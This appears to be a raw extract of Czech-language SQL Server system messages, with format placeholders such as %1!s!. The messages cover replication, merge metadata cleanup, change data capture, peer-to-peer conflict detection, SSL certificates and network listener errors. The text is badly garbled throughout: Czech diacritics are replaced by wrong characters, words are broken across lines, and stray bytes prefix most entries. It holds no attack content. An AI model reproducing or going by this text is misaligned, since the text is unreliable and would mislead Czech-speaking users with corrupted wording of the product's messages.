
xDoalo ke zmn re~imu aktualizace z [%1!s!] na [%2!s!].

�Prob�h� potla
en� kontroly fronty pro pYepnut� re~imu z [%1!s!] na [%2!s!].

�V %1!s! byly nalezeny duplicitn� Y�dky. Jedine
n� index nebyl vytvoYen.

\Publikov�n� dat %1!s! z vydavatele %2!s!.

�Pro typ fronty byla zad�na neplatn� hodnota. Platn� hodnoty = (%1!s!).

�Parametr %1!s! nelze zmnit, pokud existuj� odbry publikace.

�Vlastnost %1!s! publikace sn�mko, kter� je zaYazena ve front, nesm� m�t hodnotu %2!s!.

(Upozornn�: PYid�n� aktualizovateln�ho odbru pro 
l�nek %1!s! mo~e zposobit nekonzistenci dat, proto~e zdrojov� tabulka je ji~ odeb�r�na %2!s!

Informace z pYeklada
e byly zad�ny bez zad�n� pYeklada
e, kter� m� b�t pou~it pro 
l�nek %1!s!. Bude pou~it v�choz� pYeklada
.

@Profil ovYen� po
tu Y�dko.

�Profil pou~�van� agentem Merge k prov�dn� ovYen� po
tu Y�dko.

lProfil ovYen� po
tu Y�dko a kontroln�ch sou
to.

�Profil pou~�van� agentem Merge k prov�dn� ovYen� po
tu Y�dko a kontroln�ch sou
to.

�Tuto vlastnost publikace nelze zmnit, proto~e m� tato publikace aktivn� odbry.

�OvYovac� v�raz odd�lu odbratele mus� m�t u statick�ch publikac� hodnotu NULL.

xPouze jeden v�raz %1!s! a %2!s!nemus� m�t hodnotu NULL.

�Nelze upravit rozsah identity vydavatele pro tabulku %1!s!.

�Nelze upravit rozsah identity vydavatele pro publikaci %1!s!.

Nab�zen� odbr publikace %1!s! ji~ existuje. Pomoc� procedury sp_mergesubscription_cleanup vyYate nefunk
n� nab�zen� odbry.

�Tabulka %1!s! mus� m�t nejm�n jeden sloupec, kter� je zahrnut ve vertik�ln�m odd�lu.

�Upozornn�: Publikace pou~�v� funkci, kter� je podporov�na pouze odbrateli, kteY� pou~�vaj� verzi %1!s! nebo vyaa�.

�Upozornn�: S publikac� %1!s! se mohou synchronizovat jen odbratel�, kteY� pou~�vaj� aktualizaci SQL Server 7.0 Service Pack 2 nebo novja�, proto~e je ur
eno decentralizovan� protokolov�n� konflikto.

PUpozornn�: S publikac� %1!s! se mohou synchronizovat jen odbratel�, kteY� pou~�vaj� verzi SQL Server 2000 nebo novja�, proto~e je pou~�v�n komprimovan� sn�mek.

PUpozornn�: S publikac� %1!s! se mohou synchronizovat jen odbratel�, kteY� pou~�vaj� verzi SQL Server 2000 nebo novja�, proto~e jsou pou~�v�ny vertik�ln� filtry.

LUpozornn�: S publikac� %1!s! se mohou synchronizovat je odbratel�, kteY� pou~�vaj� verzi SQL Server 2000 nebo novja�, proto~e je prov�dna replikace sch�matu.

�Upozornn�: S publikac� %1!s! se mohou synchronizovat jen odbratel�, kteY� pou~�vaj� aktualizaci SQL Server 7.0 Service Pack 2 nebo novja�, proto~e je prov�dna optovn� inicializace napY�
 celou publikac�.

tUpozornn�: S publikac� %1!s! se mohou synchronizovat jen odbratel�, kteY� pou~�vaj� verzi SQL Server 2000 nebo novja�, proto~e je prov�dna optovn� inicializace cel� publikace.

�Upozornn�: S publikac� %1!s! se mohou synchronizovat jen odbratel�, kteY� pou~�vaj� verzi SQL Server 7.0 Service Pack 2 nebo novja�, proto~e je prov�dna �loha vy
iatn� metadat slou
en�.

�Upozornn�: S publikac� %1!s! se mohou synchronizovat jen odbratel�, kteY� pou~�vaj� aktualizaci SQL Server 7.0 Service Pack 2 nebo novja�, proto~e je prov�dna �loha ovYen� napY�
 celou publikac�.

�Upozornn�: S publikac� %1!s! se mohou synchronizovat jen odbratel�, kteY� pou~�vaj� verzi SQL Server 2000 nebo novja�, proto~e v jednom z jej�ch 
l�nko existuj� datov� typy, kter� jsou nov� pro verzi SQL Server 2000.

�Upozornn�: S publikac� %1!s! se mohou synchronizovat jen odbratel�, kteY� pou~�vaj� verzi SQL Server 2000 nebo novja�, proto~e v jednom z jej�ch 
l�nko existuje nejm�n jeden sloupec 
asov�ho raz�tka.

dUpozornn�: S publikac� %1!s! se mohou synchronizovat jen odbratel�, kteY� pou~�vaj� verzi SQL Server 2000 nebo novja�, proto~e jsou pou~�v�ny automatick� rozsahy identit.

�Upozornn�: S publikac� %1!s! se mohou synchronizovat jen odbratel�, kteY� pou~�vaj� verzi SQL Server 2000 nebo novja�, proto~e do publikace byl po vygenerov�n� jej�ho sn�mku pYid�n nov� 
l�nek.

�Zmnu v publikaci %1!s! nelze roza�Yit na slu~bu Active Directory.

�Upgrade nastaven� distribuce a syst�mov�ch objekto v datab�zi %1!s!

�Upgrade nastaven� publikace a syst�mov�ch objekto v datab�zi %1!s!

�Upgrade nastaven� odbro a syst�mov�ch objekto v datab�zi %1!s!

0Soub~n� sn�mek pro publikaci %1!s! nen� dostupn�, proto~e nebyl pln vygenerov�n, nebo nen� spuatn Agent 
te
ky protokolo , kter� by jej aktivoval. Pokud bylo generov�n� soub~n�ho sn�mku pYeruaeno, je nutn� restartovat agenta sn�mku, dokud nebude vygenerov�n cel� sn�mek.

�Upozornn�: S publikac� %1!s! se mohou synchronizovat jen odbratel�, kteY� pou~�vaj� verzi SQL Server 2000 nebo novja�, proto~e kolace na �rovni sloupco je vytvoYena pomoc� skriptu pro vytv�Yen� sch�mat 
l�nko.

�Upozornn�: S publikac� %1!s! se mohou synchronizovat jen odbratel�, kteY� pou~�vaj� verzi SQL Server 2000 nebo novja�, proto~e roza�Yen� vlastnosti jsou vytvoYeny pomoc� skriptu pro vytv�Yen� sch�mat 
l�nko.

TUpozornn�: S publikac� %1!s! se mohou synchronizovat jen odbratel�, kteY� pou~�vaj� verzi SQL Server 2000 nebo novja�, proto~e obsahuje 
l�nky pouze se sch�maty.

�Tento sloupec nelze zahrnout do transak
n� publikace, proto~e identifik�tor sloupce je vyaa� ne~ 255.

�Vlastnost max_concurrent_dynamic_snapshots publikace mus� b�t vta� nebo rovna 0.

�%1!s! nen� platn� hodnota pro parametr %2!s!. Hodnota mus� b�t kladn� cel� 
�slo vta� ne~ 300 nebo 0.

�%1!s! nen� platn� hodnota pro parametr %2!s!. Hodnota mus� b�t cel� 
�slo vta� nebo rovno %3!s!.

�%1!s! nen� platn� hodnota pro parametr %2!s!. Hodnota mus� b�t 0 nebo 1.

<PYi na
�t�n� z�mku aplikace doalo k neo
ek�van�mu selh�n�. Zkontrolujte, zda je �
et, pod kter�m je spuatn agent slou
en�, 
lenem seznam pY�stupu k publikaci. Pokud je server zat�~en mnoha aktivitami, spusete agenta slou
en� a~ tehdy, kdy bude k dispozici v�ce prostYedko serveru.

8PYi uvolHov�n� z�mku aplikace doalo k neo
ek�van� chyb. Zkontrolujte, zda je �
et, pod kter�m je spuatn agent slou
en�, 
lenem seznam pY�stupu k publikaci. Pokud je server zat�~en mnoha aktivitami, spusete agenta slou
en� a~ tehdy, kdy bude k dispozici v�ce prostYedko serveru.

`Vlastnost %1!s! 
l�nku %2!s! nelze zmnit.

�Pou~it� 
asov�ho limitu fronty o hodnot vyaa� ne~ 12 hodin nen� povoleno.

XFiltr %1!s! 
l�nku %2!s! nelze zmnit.

TVlastnost %1!s! odbru nelze zmnit.

�l�nek %1!s! nelze vyYadit, proto~e jej pou~�vaj� jin� 
l�nky jako spojovac� 
l�nek.

�Upozornn�: �loha agenta %1!s! byla vytvoYena implicitn a bude spuatna pod �
tem slu~by SQL Server Agent.

�Byl zad�n neplatn� typ odbru. Odbr publikace %1!s! ji~ v datab�zi existuje s odlian�m typem odbru.

�Dodan� informace o pYeklada
i neuv�dj� platn� n�zev sloupce, kter� %1!s! pou~ije k odstrann� konflikto.

�Publikace %1!s! nepovoluje synchronizaci odbru s alternativn�m partnerem synchronizace.

�iatn� metadat slou
en� nelze prov�st v probhu procesu slou
en�. Opakujte tuto operaci po dokon
en� procesu slou
en�.

�iatn� metadat slou
en� v publikuj�c�m odbrateli %1!s!.%2!s! nelze prov�st, proto~e do nj procesy slou
en� zan�aej� zmny. Vaechny odbry tohoto publikuj�c�ho odbratele mus� b�t znovu inicializov�ny.

�Zmny publikace %1!s! nelze slou
it, proto~e byla ozna
ena jako neaktivn�.

�Proceduru sp_mergecompletecleanup nelze prov�st pYed proveden�m procedury sp_mergepreparecleanup. Pomoc� procedury sp_mergepreparecleanup inicializujte prvn� f�zi 
iatn� metadat slou
en�.

PVaechny pYedpoklady pro 
iatn� metadat slou
en� byly splnny. Proveden�m procedury sp_mergecompletecleanup inicializujte z�vre
nou f�zi 
iatn� metadat slou
en�.

�iatn� metadat slou
en� nelze prov�st v probhu procesu slou
en�. iatn� bude pokra
ovat po dokon
en� proceso slou
en�.

�iatn� metadat slou
en� nelze prov�st, proto~e nkteY� publikuj�c� odbratel� neuvedli sv� zmny do klidu. iatn� bude pokra
ovat, a~ vaichni publikuj�c� odbratel� uvedou sv� zmny do klidu.

�Zmny dat v probhu 
iatn� metadat slou
en� nejsou povoleny.

�MSmerge_contents ani MSmerge_tombstone neobsahuj� metadata pro tento Y�dek.

�Vlastn� procedury transak
n� replikace pro publikaci %1!s! z datab�ze %2!s!:

0Vlastn� procedury replikace nebudou skriptov�ny pro 
l�nek %1!s!, proto~e nen� povolena volba sch�matu automatick�ho generov�n� vlastn�ch procedur.

dVlastn� procedury replikace pro 
l�nek %1!s!:

Vlastn� procedury nebudou skriptov�ny pro pY�kazy aktualizace 
l�nko zalo~en� na pY�m�ch pY�kazech INSERT, UPDATE nebo DELETE.

�Vlastn� procedura nebude skriptov�na, proto~e %1!s! nen� rozpoznan� syntaxe pY�kazu aktualizace 
l�nku.

8Zmna sch�matu bhem prov�dn� vnitYn� procedury replikace se nezdaYila. Opravn� akce viz dala� chybov� zpr�vy, kter� tuto chybovou zpr�vu doprov�zej�.

�PY�kaz DDL nelze prov�st u odbratele. PY�kazy DDL mohou b�t prov�dny pouze u vydavatele. V hierarchii opakovan�ho publikov�n� mohou b�t pY�kazy DDL prov�dny pouze u z�kladn�ho vydavatele a nikoli u opakovan publikuj�c�ch odbratelo.

�Nelze pYidat spouat
 jazyka DDL pro replikaci %1!s! ud�lost�.

�Nelze vlo~it informace do tabulky sledov�n� zmn sch�mat sysmergeschemachange.

�Hodnota zadan� pro vlastnost replicate_ddl publikace nen� platn�. Hodnota mus� b�t 1 nebo 0.

�Datab�ze odbratele se nesm� shodovat s datab�z� vydavatele, pokud je odbratel toto~n� s vydavatelem

�U datab�ze odbru je nutn� vyvolat proceduru sp_mergesubscription_cleanup.

�loha %1!s! agenta replikace nebyla odebr�na, proto~e m� nestandardn� n�zev. Odeberte �lohu ru
n, a~ ji~ nebude pou~�v�na.

�Nelze znovu pou~�t zobrazen� %1!s!, proto~e nebylo nalezeno. Prob�h� optovn� vytv�Yen� vaech zobrazen� syst�mov�ch tabulek. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

Odbratel %1!s!:%2!s! nebyl ozna
en pro optovnou inicializaci u vydavatele, proto~e je odbr bu anonymn�, nebo neplatn�. Zkontrolujte, zda byly pro parametry @subscriber a @subscriber_db v proceduYe sp_reinitmergesubscription zad�ny platn� hodnoty.

 UserScripts

8Ciz� kl�
 %1!s! s mo~nost� CASCADE nelze pYidat, proto~e tabulka %2!s! je publikov�na. PYidejte do definice ciz�ho kl�
e klauzuli NOT FOR REPLICATION.

0Distribu
n� datab�ze %1!s! m� �roveH kompatibility %2!s!, kter� se lia� od �rovn kompatibility hlavn� datab�ze. Tyto �rovn kompatibility se mus� shodovat, proto se �roveH distribu
n� datab�ze mn� na %3!s!. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

dSloupec msrepl_tran_version byl pYeddefinov�n a povoluje hodnoty NULL. Tento sloupec bude vyYazen a znovu vytvoYen, aby nepovoloval hodnoty NULL pro aktualizaci odbratelo.

|Upozornn�: Parametr %1!s! je zastaral� a je dostupn� pouze pro zachov�n� zptn� kompatibility. V budouc�ch verz�ch ji~ nebude dostupn�. M�sto tohoto parametru pou~ijte parametr %2!s!.

�Mapov�n� vlastn�ch datov�ch typo nejsou podporov�na. Mus�te ovYit spr�vnost mapov�n�. Pokud nejsou mapov�n� kompatibiln�, pYi pYesouv�n� dat od vydavatele k odbrateli pravdpodobn dojde k chyb�m.

Mapov�n� datov�ho typu od %1!s! k %2!s! neexistuje. Zkontrolujte zdrojov� a c�lov� datov� typ, d�lku, pYesnost, mY�tko a mo~nost pou~it� hodnoty null. Z�skejte seznam podporovan�ch mapov�n� dotazem na syst�movou tabulku msdb.dbo.sysdatatypemappings.

Distribu
n� datab�zi %1!s! nelze otevY�t z dovodu nepY�stupn�ch souboro. Datab�ze bude vyYazena, ale nebudou na n� provedeny �lohy 
iatn�. Zkontrolujte protokoly chyb datab�ze a serveru a vyhledejte dala� informace o dovodech nepY�stupnosti souboro datab�ze.

�Zadan� mapov�n� datov�ho typu nelze pou~�t. Nelze nel�zt odpov�daj�c� c�lov� datov� typ pro zdrojov� typ %1!s!. Z�skejte seznam podporovan�ch mapov�n� dotazem na syst�movou tabulku msdb.dbo.sysdatatypemappings. Zkontrolujte, zda je u zdrojov�ho typu spr�vn� d�lka, pYesnost, mY�tko a mo~nost pou~it� hodnoty null.

�Replikace jazyka DDL nen� povolena pro datab�zi %1!s!, proto~e je jej� �roveH kompatibility ni~a� ne~ 80.

$Parametry pro zabezpe
en�, velikost d�vky a pl�nov�n� se ji~ nepou~�vaj�. Dala� informace naleznete v dokumentaci procedury sp_addsubscriber.

�Replikace jazyka DDL si vynucuje optovnou inicializaci, proto~e bu publikace %1!s! pou~�v� znakov� re~im bcp, nebo je sloupec 
asov� raz�tko/identita replikov�n jako z�kladn� typ pouze pro 
l�nek %2!s!.

�Upozornn�: Vlastnost %1!s! pro %2!s! %3!s! byla zmnna na %4!s!, proto~e ji po~aduje %5!s!.

�Do publikace %1!s! nelze pYidat nov� 
l�nek, proto~e jsou aktivn� zmnov� aktivity sch�mat nebo je generov�n sn�mek.

�PYi vynucen� optovn� inicializace u 
l�nku %1!s! v publikaci %2!s! mo~e b�t vyYazen clusterovan� index u indexovan�ho zobrazen� %3!s! procesem upgradu nebo obnoven�, proto znovu vytvoYte index a synchronizujte sv� data.

�Tabulka %1!s! v datab�zi %2!s! je pYihl�aena k odbru transak
n� publikace, kter� je zaYazena ve front, a je publikov�na pro slou
en� za �
elem odesl�n� zmn. To mo~e zposobit ztr�tu konvergence mezi transak
n�m vydavatelem a odbratelem.

[%1!s!]. Syst�mov� transakce s xdes id %2!s! byla pYeruaena z dovodu vlo~en� chyby pYi pYesouv�n� Y�dko z jedn� str�nky na jinou.

lVy
iatn� ADR se u datab�ze s ID %1!s! nepovedlo.

|Zahajuje se kontrola migrace datab�ze pro datab�zi %1!s!.

�Kontrola migrace datab�ze pro datab�zi %1!s! je dokon
ena.

�Kontrola migrace datab�ze pro datab�zi %1!s! byla pYeruaena. Doalo k vnitYn� chyb. Kontrola migrace byla pYeruaena.

�Skener Tiered Storage zjistil chybovou zpr�vu %1!s! v %2!s!.

�U 
l�nku se zmnil typ filtrov�n�. Jak�koli nevyY�zen� nebo budouc� zmny proveden� v tomto 
l�nku odbratelem v dan�m odd�lu nebudou nad�le odes�l�ny odbratelom v jin�ch odd�lech. Podrobnosti naleznete v dokumentaci.

�X�dek nelze synchronizovat, proto~e byl aktualizov�n jin�m procesem mimo replikaci.

$Inicializace

XOdes�l�n� zmn odbratele k vydavateli

TSta~en� zmn vydavatele k odbrateli

�Upozornn�: Procedura sp_mergecleanupmetadata se ji~ nepou~�v�. Ve verzi SQL Server 2000 SP1 nebo novja� vol� agent slou
en� proceduru sp_mergemetadataretentioncleanup pYi ka~d�m spuatn�, a proto nen� ru
n� 
iatn� metadat nutn�. PYedan� parametry a vol�n� procedury sp_mergemetadataretentioncleanup jsou ignorov�ny.

�Byla zad�na neplatn� hodnota failover_mode %1!s! pro [%2!s!].[%3!s!].[%4!s!], nastavuje se na 0 [immediate].

�Upozornn�: Hodnoty nkter�ch pY�znako zadan�ch ve vlastnosti schema_option nejsou kompatibiln� s �rovn� kompatibility publikace. Pro vlastnost schema_option bude m�sto toho pou~ita upraven� hodnota %1!s!.

@Volba sch�matu pro vyps�n� atributu FILESTREAM ve sloupc�ch varbinary(max) byla povolena pro 
l�nek %1!s!. Nastaven� t�to volby po vytvoYen� 
l�nku mo~e zposobit selh�n� replikace, pokud by objem dat ve sloupci FILESTREAM pYekro
il 2 GB a bhem replikace doalo ke konfliktu. Pokud chcete data sloupce FILESTREAM replikovat, vyYate a znovu vytvoYte 
l�nek a pYi jeho vytv�Yen� zadejte pY�sluanou volbu sch�matu.

�Dala� informace naleznete v zobrazen� dynamick� spr�vy sys.dm_cdc_errors.

lSt�vaj�c� tabulka konflikto %1!s! byla vyYazena.

�Zptn� transformace %1!s! skon
ila s 
asov�m limitem: %2!s! s.

�Topologie obsahuje verze rovnocenn�ch uzlo, kter� nepodporuj� zjiaeov�n� konflikto. Chcete-li pou~�vat zjiaeov�n� konflikto, zkontrolujte, zda maj� vaechny uzly v topologii verze SQL Server 2008 nebo novja�.

HTopologie obsahuje duplicitn� identifik�tor povodce. Chcete-li pou~�vat zjiaeov�n� konflikto, identifik�tor povodce mus� b�t v r�mci cel� topologie jedine
n�.

Nastal konflikt typu %1!s! u strany %2!s! mezi stranou %3!s! (pY�choz�), ID transakce %4!s! a stranou %5!s! (na disku), ID transakce %6!s! pro tabulku %7!s! s prim�rn�mi kl�
i %8!s!, aktu�ln� verze %9!s!, dY�vja� verze %10!s! a n�sleduj�c� verze %11!s!.

(%1!s! m� %2!s!.

hByl zjiatn a vyYeaen konflikt odstrann�-odstrann�. X�dek nelze odstranit z rovnocenn�ho partnera, proto~e Y�dek neexistuje. PYich�zej�c� pY�kaz k odstrann� byl ignorov�n.

�Mezi partnerem %1!s! (pY�choz�) a partnerem %2!s! (na disku) byl zjiatn konflikt odstrann�-aktualizace, kter� nelze vyYeait automaticky. PY�choz� odstrann� bylo partnerem %3!s! vynech�no. Konflikt musel b�t Yeaen ru
n, aby byla zaru
ena datov� konvergence mezi partnery. Postup Yeaen� konfliktu naleznete v Knih�ch online.

hByl zjiatn a vyYeaen konflikt typu odstrann�-aktualizace mezi rovnocenn�mi partnery %1!s! (pY�choz�) a %2!s! (na disku). PY�choz� odstrann� bylo pou~ito na partnera %3!s!.

lByl zjiatn a vyYeaen konflikt typu aktualizace-aktualizace mezi rovnocenn�mi partnery %1!s! (pY�choz�) a %2!s! (na disku). PY�choz� aktualizace byla partnerem %3!s! vynech�na.

lByl zjiatn a vyYeaen konflikt typu aktualizace-aktualizace mezi rovnocenn�mi partnery %1!s! (pY�choz�) a %2!s! (na disku). PY�choz� aktualizace byla pou~ita na partnera %3!s!.

\ Byl zjiatn a nevyYeaen konflikt aktualizace-odstrann�. X�dek nelze aktualizovat, proto~e neexistuje. PYich�zej�c� pY�kaz k aktualizaci byl ignorov�n. Zkontrolujte prioritu c�lov�ho partnera a spusete ovYen� dat, abyste zkontrolovali, zda konflikt odstrann� nezposobil ztr�tu konvergence dat.

TByl zjiatn a vyYeaen konflikt typu vlo~en�-vlo~en� mezi rovnocenn�mi partnery %1!s! (pY�choz�) a %2!s! (na disku). PY�choz� vlo~en� bylo partnerem %3!s! vynech�no.

TByl zjiatn a vyYeaen konflikt typu vlo~en�-vlo~en� mezi rovnocenn�mi partnery %1!s! (pY�choz�) a %2!s! (na disku). PY�choz� vlo~en� bylo pou~ito na partnera %3!s!.

�Nelze odstranit polo~ky tabulky zmn, kter� byly nastaveny jako zastaral� zmnou v nejm�n jednom doln�m limitu pro instance zachycen� datab�ze %1!s!. PYi prov�dn� pY�kazu %2!s! doalo k selh�n�. Navr�cen� chyba byla %3!s!: %4!s!. Pou~ijte akci a chybu, abyste zjistili pY�
inu selh�n�, a odealete po~adavek znovu.

�Nelze odstranit zastaral� polo~ky v tabulce cdc.lsn_time_mapping pro datab�zi %1!s!. PYi prov�dn� pY�kazu %2!s! doalo k selh�n�. Navr�cen� chyba byla %3!s!: %4!s!. Pou~ijte akci a chybu, abyste zjistili pY�
inu selh�n�, a odealete po~adavek znovu.

�Upozornn�: Parametr @allow_partition_switch je nastaven na hodnotu 1. Zachycen� dat zmn nebude sledovat zmny proveden� v tabulce v dosledku pYepnut� odd�lu, kter� pYi spotYebov�n� zmn zposob� nekonzistenci dat. Dala� informace o chov�n� pYepnut� odd�lu pYi pou~it� funkce Change Data Capture naleznete v Knih�ch online.

Upozornn�: Parametr @allow_partition_switch je nastaven na hodnotu 0. ALTER TABLE ... PY�kaz SWITCH PARTITION bude u t�to tabulky s odd�ly zak�z�n. Dala� informace o chov�n� pYepnut� odd�lu pYi pou~it� funkce Change Data Capture naleznete v Knih�ch online.

8Upozornn�: Parametr @allow_partition_switch mus� m�t u tabulek, kter� nejsou rozdleny do odd�lo, hodnotu 1. Explicitn� nastaven� parametru na hodnotu 0 bylo ignorov�no. Dala� informace o chov�n� pYepnut� odd�lu pYi pou~it� funkce Change Data Capture naleznete v Knih�ch online.

�Nelze upgradovat datab�zi %1!s!. Byla vyvol�na chyba %2!s!: %3!s!. S pou~it�m ohl�aen� chyby zjistte pY�
inu selh�n� a potom spusete v kontextu datab�ze proceduru sys.sp_cdc_vupgrade, abyste upgrade spustili znovu.

@%1!s! vrac� hodnotu %2!s!.

\Celkov� po
et odstrann�ch Y�dko: %1!s!.

8Mez pro 
iatn� = %1!s!

`N�zev vnitYn� tabulky sledov�n� zmn: %1!s!

TBylo odstranno %1!s! Y�dko z %2!s!.

DDatab�ze %1!s! je ji~ povolena pro funkci Change Data Capture. Zkontrolujte, zda je nastaven spr�vn� kontext datab�ze, a operaci opakujte. Chcete-li z�skat seznam datab�z� povolen�ch pro funkci Change Data Capture, dota~te se sloupce is_cdc_enabled v zobrazen� katalogu sys.databases.

LZmny sch�mat a hromadn� vlo~en�

@PY�prava dynamick�ho sn�mku

pMonitorov�n� a synchronizace �loh agenta replikace

�Synchronizace �loh agenta replikace a jejich povolen�ch stavo.

�sys.fn_xe_file_target_read_file pYeskakuje z�znamy z %1!s! u odsazen� %2!s!.

�Relace roza�Yen�ch ud�lost� s n�zvem %1!s! nebyla zmnna bhem upgradu a jeden z c�lo programu bucketizer byl vylou
en z relace roza�Yen�ch ud�lost�. Pro ka~dou relaci roza�Yen�ch ud�lost� je podporov�n pouze jeden c�l programu bucketizer.

@Server nemohl na
�st certifik�t, kter� potYebuje k inicializaci pYipojen� SSL. Vr�til n�sleduj�c� chybu: %1!s!. Zkontrolujte, zda jsou certifik�ty platn�.

�Certifik�t [Cert Hash(sha1) %1!s!] byl �span na
ten pro aifrov�n�.

Nelze inicializovat aifrov�n� SSL, proto~e nelze nal�zt platn� certifik�t a nen� mo~n� vytvoYit certifik�t podepsan� sebou sam�m.

�Pro aifrov�n� byl �span na
ten certifik�t vygenerovan� s�m sebou.

`Server naslouch� na [ %1!s! <%2!s!> %3!s!].

�OvYov�n� protokolu HTTP pro u~ivatele %1!s!.%2!s! bylo �span�

�ZprostYedkovatel serveru pojmenovan�ch kan�lo je pYipraven pYijmout pYipojen� na portu [ %1!s! ].

$Knihovna rozhran� s�t syst�mu SQL Server nemo~e prov�st zdvoYil� ukon
en� kvoli zb�vaj�c�m pYipojen�m. Bude pokra
ovat okam~it�m ukon
en�m.

�Knihovna rozhran� s�t syst�mu SQL Server nemo~e registrovat hlavn� n�zev slu~by (SPN) pro slu~bu syst�mu SQL Server. N�vratov� k�d syst�mu Windows: %1!s!, stav: %2!s!. Selh�n� registrace hlavn�ho n�zvu slu~by by mohlo zposobit pou~it� protokolu NTLM nam�sto protokolu Kerberos pYi integrovan�m ovYov�n�. Tato zpr�va je informa
n�. Dala� akce je nutn� pouze tehdy, pokud z�sady ovYov�n� po~aduj� ovYov�n� protokolem Kerberos a hlavn� n�zev slu~by nebyl zaregistrov�n ru
n.

Knihovna rozhran� s�t syst�mu SQL Server nemo~e zruait registraci hlavn�ho n�zvu slu~by (SPN) pro slu~bu syst�mu SQL Server. Chyba: %1!s!, stav: %2!s!. Spr�vce by ml ru
n zruait tento hlavn� n�zev slu~by, aby zabr�nil chyb�m pYi ovYov�n� kliento.

�ZprostYedkovatel serveru TCP �span znovu nav�zal naslouch�n� na portu [ %1!s! ].

�ZprostYedkovatel serveru HTTP �span znovu zah�jil naslouch�n�.

�ZprostYedkovatel serveru pojmenovan�ch kan�lo �span znovu nav�zal naslouch�n� na portu [ %1!s! ].

�ZprostYedkovatel serveru lok�ln�ho pYipojen� je pYipraven pYijmout pYipojen� na portu [ %1!s! ].

�ZprostYedkovatel serveru lok�ln�ho pYipojen� �span znovu nav�zal naslouch�n� na portu [ %1!s! ].

�Rozhran� s�t syst�mu SQL Server inicializovalo naslouchac� procesy na uzlu %1!s! konfigurace serveru s v�ce uzly (NUMA) s maskou spYa~en� uzlu 0x%2!s!. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

�V registru se nezdaYilo aktualizovat 
�slo portu vyhrazen�ho pYipojen� spr�vce (DAC). Klientom se nemus� podaYit vyhledat spr�vn� port DAC prostYednictv�m slu~by SQL Server Browser. Chyba: %1!s!.

Knihovna s�eov�ho rozhran� syst�mu SQL �span zaregistrovala hlavn� n�zev slu~by (SPN) [ %1!s! ] slu~by syst�mu SQL Server.

Knihovna s�eov�ho rozhran� syst�mu SQL �span zruaila registraci hlavn�ho n�zvu slu~by (SPN) [ %1!s! ] slu~by syst�mu SQL Server.

lPYi sestavov�n� hlavn�ho n�zvu slu~by (SPN) se nezdaYilo zjistit pln kvalifikovan� n�zev dom�ny po
�ta
e. To mo~e zna
it probl�m se s�eovou konfigurac� po
�ta
e. Chyba: %1!s!.

�Syst�m SQL Server nemohl naslouchat na IP adrese [%1!s!], proto~e prostYedek clusteru %2!s! nen� online (stav = %3!s!). Tato zpr�va je pouze informa
n� a mo~e zna
it, ~e prostYedek %4!s! m� z�vislost typu OR na nkolika IP adres�ch, z nich~ nkter� jsou v sou
asn� dob v re~imu offline nebo selhaly. Dala� akce je nutn� pouze tehdy, pokud je obecn mo~n� sv�zat IP adresu prostYedku clusteru %5!s! se s�eov�m segmentem na aktu�ln�m uzlu hostitele.

�Knihovna rozhran� s�t syst�mu SQL Server nemo~e registrovat hlavn� n�zev slu~by (SPN) [ %1!s! ] pro slu~bu syst�mu SQL Server. N�vratov� k�d syst�mu Windows: %2!s!, stav: %3!s!. Selh�n� registrace hlavn�ho n�zvu slu~by by mohlo zposobit pou~it� protokolu NTLM nam�sto protokolu Kerberos pYi integrovan�m ovYov�n�. Tato zpr�va je informa
n�. Dala� akce je nutn� pouze tehdy, pokud z�sady ovYov�n� po~aduj� ovYov�n� protokolem Kerberos a hlavn� n�zev slu~by nebyl zaregistrov�n ru
n.

Knihovna rozhran� s�t syst�mu SQL Server nemo~e zruait registraci hlavn�ho n�zvu slu~by (SPN) [ %1!s! ] pro slu~bu syst�mu SQL Server. Chyba: %2!s!, stav: %3!s!. Spr�vce by ml ru
n zruait tento hlavn� n�zev slu~by, aby zabr�nil chyb�m pYi ovYov�n� kliento.

�Byl spuatn proces naslouch�n� ve virtu�ln� s�ti s n�zvem %1!s!. Nen� tYeba ~�dn� akce u~ivatele.

�Proces naslouch�n� ve virtu�ln� s�ti s n�zvem %1!s! byl ukon
en. Nen� tYeba ~�dn� akce u~ivatele.

�Bylo nalezeno v�ce z�visl�ch n�zvo virtu�ln�ch s�t� pro prostYedek clusteru Windows s podporou pYevzet� slu~eb pYi selh�n� %1!s!. Syst�m SQL Server bude naslouchat pouze zdroji prvn�ho n�zvu virtu�ln� s�t: %2!s!. Tato skute
nost mo~e indikovat nespr�vnou konfiguraci prostYedko clusteru Windows s podporou pYevzet� slu~eb pYi selh�n� pro syst�m SQL Server.

 Syst�m SQL Server se pokoua� zaregistrovat hlavn� n�zev slu~by (SPN) pro slu~bu syst�mu SQL Server. OvYov�n� protokolem Kerberos nebude mo~n�, dokud nebude n�zev SPN slu~by syst�mu SQL Server zaregistrov�n. Tato zpr�va je informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

�Byla spuatna operace obnoven� projektu %1!s! z verze %2!s!.

�Operace obnoven� projektu %1!s! na verzi %2!s! byla dokon
ena.

�Upozornn�: Po~adovan� opr�vnn� ji~ bylo u~ivateli udleno. Duplicitn� po~adavek bude ignorov�n.

�Upozornn�: PYi spuatn� ozna
il server integra
n�ch slu~eb operaci %1!s! (typ %2!s!, stav %3!s!) jako ukon
enou. Pod�vejte se na podrobnosti operace v protokolu chyb opera
n�ho syst�mu.

HProstYed� HPC bylo �span inicializov�no. ZprostYedkovatel: %1!s!, typ zaY�zen�: %2!s!, verze DLL: %3!s!, nalezen�ch zaY�zen�: %4!s!, z nich pou~�v�no: %5!s!.

�Zpr�va byla nahl�aena ze zaY�zen� %1!s! s ID zaY�zen� %2!s!, k�dem %3!s! a zpr�vou %4!s!.

PYi vyhled�v�n� certifik�tu veYejn�ho kl�
e pYidru~en�ho k t�to instanci syst�mu SQL Server doalo k chyb: Certifik�t jeat nen� platn�.

PYi vyhled�v�n� certifik�tu veYejn�ho kl�
e pYidru~en�ho k t�to instanci syst�mu SQL Server doalo k chyb: Platnost certifik�tu vypraela.

�Metoda handshake pYipojen� se nezdaYila. Nedostatek dostupn� pamti. Stav %1!s!.

�Metoda handshake pYipojen� se nezdaYila. Neexistuje kompatibiln� %1!s!. Stav %2!s!.

�Metoda handshake pYipojen� se nezdaYila. Nelze odeslat zpr�vu handshake, proto~e partner uzavYel pYipojen�. Stav %1!s!.

�Metoda handshake pYipojen� se nezdaYila. Neo
ek�van� ud�lost (%1!s!) pro aktu�ln� kontext (%2!s!). Stav %3!s!.

